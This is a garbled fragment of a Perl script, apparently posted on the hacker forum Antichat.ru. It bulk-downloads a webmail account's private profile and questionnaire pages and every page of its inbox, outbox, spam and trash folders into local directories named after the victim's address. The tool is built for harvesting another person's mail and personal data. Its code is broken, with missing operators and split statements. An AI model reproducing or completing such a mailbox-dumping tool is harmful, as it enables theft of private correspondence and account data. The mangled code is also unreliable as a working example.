"mailbox/$email/doubtful" ){mkdir "mailbox/$email/doubtful"0755 or die "[~] Can't create $email/doubtful: $!\n";}         
    if ( ! -
"mailbox/$email/trash" ){mkdir "mailbox/$email/trash"0755 or die "[~] Can't create $email/trash: $!\n";}         
    if ( ! -
"mailbox/$email/private" ){mkdir "mailbox/$email/private"0755 or die "[~] Can't create $email/private: $!\n";}         
        print 
"[!] Creating directory: ok\n";$o '['.'-'x 5;
}

sub information{
    
$reg_last_p '<b class=odin>&middot;&nbsp;(.*)&nbsp;&middot;<\/b';
    print 
"[!] Get information:\n\n";$o '['.'-'x5;
    
$email=requester(0,'<title> (.*):',1);if(!$email){$email='!!WRONG!!';die("Something wrong: e-mail\n")}
    print 
"[- E-mail: $email\n[\n";
    
$ilp=requester(0,$reg_last_p,1);if(!$ilp){$ilp=1;}print $o." Inbox    (last_page): $ilp\n";
    
$somn=requester(950,$reg_last_p,1);if(!$somn){$somn=1;}print $o." Doubtful (last_page): $somn\n";
    
$outbox=requester(500000,$reg_last_p,1);if(!$outbox){$outbox=1;}print $o." Outbox   (last_page): $outbox\n";
    
$trash=requester(500002,$reg_last_p,1);if(!$trash){$trash=1;}print $o." Trash    (last_page): $trash\n\n";
}

sub private{
    print 
"[*] Getting private information: ";
    
requester('/cgi-bin/userinfo',">./mailbox/$email/private/userinfo_1.html",2);
    
requester('/cgi-bin/anketa?page=1',">./mailbox/$email/private/anketa_1.html",2);
    
requester('/cgi-bin/anketa?page=2',">./mailbox/$email/private/anketa_2.html",2);
    
requester('/cgi-bin/userinfo?mra=1',">./mailbox/$email/private/userinfo_2.html",2);
    
requester('/cgi-bin/start',">./mailbox/$email/private/index.html",2);
    print 
"ok\n\n"
}

sub inbox{
    print 
"[!] Geting: INBOX:\n\n";
    for(
$p=1;$p<$ilp+1;$p++){
    
requester("/cgi-bin/msglist?folder=0&page=",'inbox',3);
    print 
"  [~] ok \n";}
}

sub outbox{
    print 
"\n[!] Geting: OUTBOX:\n\n";
    for(
$p=1;$p<$outbox+1;$p++){
    
requester("/cgi-bin/msglist?folder=500000&page=",'outbox',3);
    print 
"  [~] ok \n";}
}

sub doubtful{
    print 
"\n[!] Geting: DOUBTFUL:\n\n";
    for(
$p=1;$p<$somn+1;$p++){
    
requester("/cgi-bin/msglist?folder=950&page=",'doubtful',3);
    print 
"  [~] ok \n";}
}

sub trash{
    print 
"\n[!] Geting: TRASH:\n\n";
    for(
$p=1;$p<$trash+1;$p++){
    
requester("/cgi-bin/msglist?folder=500002&page=",'TRASH',3);
    print 
"  [~] ok \n";}
}
    
## Active Perl:
## http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.820-MSWin32-x86-274739.msi

## Antichat.ru 



Время: 03:52